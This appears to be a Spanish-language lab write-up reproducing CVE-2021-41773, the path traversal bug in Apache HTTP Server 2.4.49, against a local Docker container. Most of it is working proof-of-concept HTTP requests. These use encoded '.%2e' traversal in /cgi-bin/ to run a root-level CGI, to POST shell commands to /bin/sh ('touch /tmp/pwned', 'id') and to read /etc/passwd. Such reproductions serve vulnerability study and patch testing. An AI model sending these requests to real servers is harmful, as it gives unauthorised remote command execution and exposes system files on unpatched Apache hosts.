1nhann/cve-2021-41773Reproducción de CVE-2021-41773
https://www.tenable.com/blog/cve-2021-41773-path-traversal-zero-day-in-apache-http-server-exploited
v2.4.49 es una vulnerabilidad exclusiva de Apache. En versiones anteriores no existía la función ap_normalize_path, que fue introducida en la versión v2.4.49. Precisamente esta función provocó el path traversal, y fue corregida en v2.4.50.
https://github.com/1nhann/CVE-2021-41773
En este entorno, se ha cargado el módulo cgi:
LoadModule cgi_module modules/mod_cgi.so
root@ubuntu:~/$ git clone https://github.com/1nhann/CVE-2021-41773.git
root@ubuntu:~/$ cd CVE-2021-41773
root@ubuntu:~/CVE-2021-41773$ docker build -t cve .
root@ubuntu:~/CVE-2021-41773$ docker run -d -p 12345:80 cve
Dentro del contenedor: image-20211006213843476
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bash.cgi HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Connection: close
image-20211006210008166
Se ejecutó /bash.cgi de la raíz.
Consultando la documentación de Apache sobre cgi:
STDIN and STDOUT
Other communication between the server and the client happens over standard input (
STDIN) and standard output (STDOUT). In normal everyday context,STDINmeans the keyboard, or a file that a program is given to act on, andSTDOUTusually means the console or screen.When you
POSTa web form to a CGI program, the data in that form is bundled up into a special format and gets delivered to your CGI program overSTDIN. The program then can process that data as though it was coming in from the keyboard, or from a fileThe "special format" is very simple. A field name and its value are joined together with an equals (=) sign, and pairs of values are joined together with an ampersand (&). Inconvenient characters like spaces, ampersands, and equals signs, are converted into their hex equivalent so that they don't gum up the works. The whole data string might look something like:
name=Rich%20Bowen&city=Lexington&state=KY&sidekick=Squirrel%20Monkey
Es decir, los parámetros enviados mediante POST se pasan como contenido de stdin al programa CGI al que se accede.
Si se accede a /bin/sh, entonces se puede obtener directamente una shell.
poc:
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 22
Content-Type: application/x-www-form-urlencoded
Connection: close
data=;touch /tmp/pwned
image-20211006213421718
También puede mostrar directamente el resultado de la ejecución del comando:
poc:
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 22
Content-Type: application/x-www-form-urlencoded
Connection: close
echo Content-Type: text/plain; echo; id
Si no se carga el módulo cgi, el archivo al que se accede no se ejecutará:
#LoadModule cgi_module modules/mod_cgi.so
poc:
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Connection: close
image-20211006232521116